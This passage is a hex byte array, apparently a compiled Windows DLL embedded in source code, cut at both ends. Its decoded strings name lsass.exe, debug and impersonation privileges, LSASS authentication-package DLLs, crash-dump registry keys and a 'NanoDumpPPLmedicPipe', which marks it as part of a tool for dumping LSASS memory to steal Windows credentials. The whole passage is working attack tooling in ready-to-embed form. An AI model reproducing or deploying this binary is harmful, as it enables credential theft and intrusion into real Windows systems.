1,0xE4,0x04,0x4C,0x89,0xE2,0xE8,0x54,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x45,0x48,0x89,0x03,0x48,0x8D,0x14,0x30,0x4C,0x01,0xE0,0x48,0x89,0x43,0x10,0xEB,0xAA,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0xE8,0xE9,0x00,0x00,0x00,0x48,0x89,0x03,0x48,0x89,0xC2,0x48,0x85,0xC0,0x74,0x14,0x48,0x89,0x43,0x08,0x48,0x8D,0x80,0x00,0x01,0x00,0x00,0x48,0x89,0x43,0x10,0xE9,0x70,0xFF,0xFF,0xFF,0xB9,0x08,0x00,0x00,0x00,0xE8,0xA8,0x00,0x00,0x00,0x83,0xC8,0xFF,0xE9,0x7A,0xFF,0xFF,0xFF,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0xB9,0x08,0x00,0x00,0x00,0xE8,0x6E,0x00,0x00,0x00,0x48,0x8B,0x37,0x66,0x0F,0xEF,0xC0,0x48,0x8B,0x5F,0x08,0x48,0xC7,0x47,0x10,0x00,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0x0F,0x11,0x07,0xE8,0x5E,0x00,0x00,0x00,0x48,0x85,0xF6,0x74,0x24,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x72,0x13,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0xEF,0xFF,0xD0,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x73,0xED,0x48,0x89,0xF1,0xE8,0x55,0x00,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x92,0x00,0x00,0x90,0x90,0xFF,0x25,0x42,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x32,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x22,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x12,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0x02,0x91,0x00,0x00,0x90,0x90,0xFF,0x25,0xF2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xE2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xD2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xC2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xB2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0xA2,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0x92,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0x82,0x90,0x00,0x00,0x90,0x90,0xFF,0x25,0x72,0x90,0x00,0x00,0x90,0x90,0xE9,0x2B,0x22,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x40,0xF1,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0xF1,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xEE,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0xEF,0xAD,0x68,0x03,0x00,0x00,0x00,0x90,0xEE,0xAD,0x68,0x03,0x00,0x00,0x00,0x70,0xEE,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x49,0x64,0x54,0x6F,0x53,0x65,0x73,0x73,0x69,0x6F,0x6E,0x49,0x64,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x42,0x00,0x61,0x00,0x73,0x00,0x65,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x48,0xFF,0x15,0x00,0x78,0x78,0x78,0x00,0x42,0x61,0x73,0x65,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x6E,0x69,0x74,0x54,0x68,0x75,0x6E,0x6B,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x48,0x8B,0xC2,0xFF,0x15,0x24,0xCC,0x06,0x00,0x8B,0x00,0x78,0x3F,0x3F,0x78,0x3F,0x3F,0x3F,0x3F,0x3F,0x78,0x00,0x52,0x74,0x6C,0x55,0x73,0x65,0x72,0x54,0x68,0x72,0x65,0x61,0x64,0x53,0x74,0x61,0x72,0x74,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0xFF,0x00,0x78,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x52,0x00,0x65,0x00,0x67,0x00,0x69,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x5C,0x00,0x4D,0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x69,0x00,0x6E,0x00,0x65,0x00,0x5C,0x00,0x53,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x77,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x5C,0x00,0x4D,0x00,0x69,0x00,0x63,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5C,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x73,0x00,0x5C,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x79,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x6E,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x44,0x00,0x6C,0x00,0x6C,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x41,0x00,0x70,0x00,0x70,0x00,0x44,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x3F,0x00,0x3F,0x00,0x5C,0x00,0x00,0x00,0x5C,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x00,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x44,0x00,0x69,0x00,0x72,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x69,0x00,0x67,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x79,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x39,0x00,0x00,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x31,0x00,0x5F,0x00,0x30,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x73,0x00,0x70,0x00,0x6B,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x64,0x00,0x69,0x00,0x67,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x62,0x00,0x65,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x64,0x00,0x70,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x64,0x00,0x63,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x64,0x00,0x62,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x73,0x00,0x61,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x72,0x00,0x73,0x00,0x61,0x00,0x65,0x00,0x6E,0x00,0x68,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x65,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x6C,0x00,0x6F,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x65,0x00,0x76,0x00,0x74,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x6C,0x00,0x6F,0x00,0x75,0x00,0x64,0x00,0x61,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x47,0x00,0x6C,0x00,0x6F,0x00,0x62,0x00,0x61,0x00,0x6C,0x00,0x5C,0x00,0x25,0x00,0x77,0x00,0x73,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x3A,0x00,0x28,0x00,0x41,0x00,0x3B,0x00,0x4F,0x00,0x49,0x00,0x43,0x00,0x49,0x00,0x3B,0x00,0x47,0x00,0x41,0x00,0x3B,0x00,0x3B,0x00,0x3B,0x00,0x57,0x00,0x44,0x00,0x29,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00,0x2E,0x00,0x5C,0x00,0x70,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x5C,0x00,0x25,0x00,0x77,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4E,0x00,0x61,0x00,0x6E,0x00,0x6F,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x50,0x00,0x50,0x00,0x4C,0x00,0x6D,0x00,0x65,0x00,0x64,0x00,0x69,0x00,0x63,0x00,0x50,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x57,0x00,0x61,0x00,0x61,0x00,0x53,0x00,0x4D,0x00,0x65,0x00,0x64,0x00,0x69,0x00,0x63,0x00,0x4C,0x00,0x6F,0x00,0x61,0x00,0x64,0x00,0x45,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE1,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0xAE,0x68,0x03,0x00,0x00,0x00,0x08,0xA0,0xAE,0x68,0x03,0x00,0x00,0x00,0xCC,0x62,0xAE,0x68,0x03,0x00,0x00,0x00,0x30,0x90,0xAE,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4D,0x69,0x6E,0x67,0x77,0x2D,0x77,0x36,0x34,0x20,0x72,0x75,0x6E,0x74,0x69,0x6D,0x65,0x20,0x66,0x61,0x69,0x6C,0x75,0x72,0x65,0x3A,0x0A,0x00,0x00,0x00,0x00,0x00,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x20,0x68,0x61,0x73,0x20,0x6E,0x6F,0x20,0x69,0x6D,0x61,0x67,0x65,0x2D,0x73,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x25,0x64,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x6F,0x64,0x65,0x20,0x30,0x78,0x25,0x78,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x72,0x6F,0x74,0x6F,0x63,0x6F,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x62,0x69,0x74,0x20,0x73,0x69,0x7A,0x65,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x64,0x20,0x62,0x69,0x74,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x25,0x70,0x20,0x6F,0x75,0x74,0x20,0x6F,0x66,0x20,0x72,0x61,0x6E,0x67,0x65,0x2C,0x20,0x74,0x61,0x72,0x67,0x65,0x74,0x69,0x6E,0x67,0x20,0x25,0x70,0x2C,0x20,0x79,0x